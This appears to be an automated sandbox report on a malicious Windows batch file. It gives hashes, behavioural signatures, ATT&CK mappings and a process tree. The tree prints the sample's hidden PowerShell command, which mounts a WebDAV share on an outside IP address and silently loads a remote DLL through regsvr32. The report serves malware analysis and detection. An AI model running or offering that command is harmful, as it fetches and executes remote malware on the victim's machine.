7b02dcd20292a7d213421e6f0e6c549f57c1c442e93f47255f3385739f07de32

Analysis

max time kernel
118s
max time network
120s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
23/07/2024, 19:05

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General

Target

2548429964129941391.bat
Size

11KB
MD5

734fe5a8d046ee634a836f020a580867
SHA1

b5730dae8a85c137aa5e2a5601d4290fcaf4123d
SHA256

7b02dcd20292a7d213421e6f0e6c549f57c1c442e93f47255f3385739f07de32
SHA512

4ffa35f75dd870324626356cdb107105861fae25e7ad90ed5d4ddac9f9dea504d4a9ca93abc3d45ae83b4bb3bc63b81e987f945f1be4ff451f87529cb05d39d9
SSDEEP

192:eHwFk2NqwNFR/D93np/ajE5bYhaiIExkX5uqwfEPQUXYAN6uXv96L:eHwmrwNFRbBniExYhnkXkMPQUXh6Mv9S

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2736	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2736	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2736	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2824	wordpad.exe
2824	wordpad.exe
2824	wordpad.exe
2824	wordpad.exe
2824	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2780 wrote to memory of 2824	2780	cmd.exe	31
PID 2780 wrote to memory of 2824	2780	cmd.exe	31
PID 2780 wrote to memory of 2824	2780	cmd.exe	31
PID 2780 wrote to memory of 2736	2780	cmd.exe	32
PID 2780 wrote to memory of 2736	2780	cmd.exe	32
PID 2780 wrote to memory of 2736	2780	cmd.exe	32
PID 2736 wrote to memory of 2456	2736	powershell.exe	34
PID 2736 wrote to memory of 2456	2736	powershell.exe	34
PID 2736 wrote to memory of 2456	2736	powershell.exe	34
PID 2736 wrote to memory of 604	2736	powershell.exe	35
PID 2736 wrote to memory of 604	2736	powershell.exe	35
PID 2736 wrote to memory of 604	2736	powershell.exe	35
PID 2736 wrote to memory of 604	2736	powershell.exe	35
PID 2736 wrote to memory of 604	2736	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\2548429964129941391.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2780
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\26850215042435.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2736
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2456
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\26850215042435.dll
    3⤵
    PID:604

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2736-23-0x000000001B690000-0x000000001B972000-memory.dmp

Filesize
2.9MB

Download
memory/2736-24-0x00000000027A0000-0x00000000027A8000-memory.dmp

Filesize
32KB

Download
memory/2780-16-0x00000000022B0000-0x00000000023B0000-memory.dmp

Filesize
1024KB

Download
memory/2780-17-0x00000000022B0000-0x00000000023B0000-memory.dmp

Filesize
1024KB

Download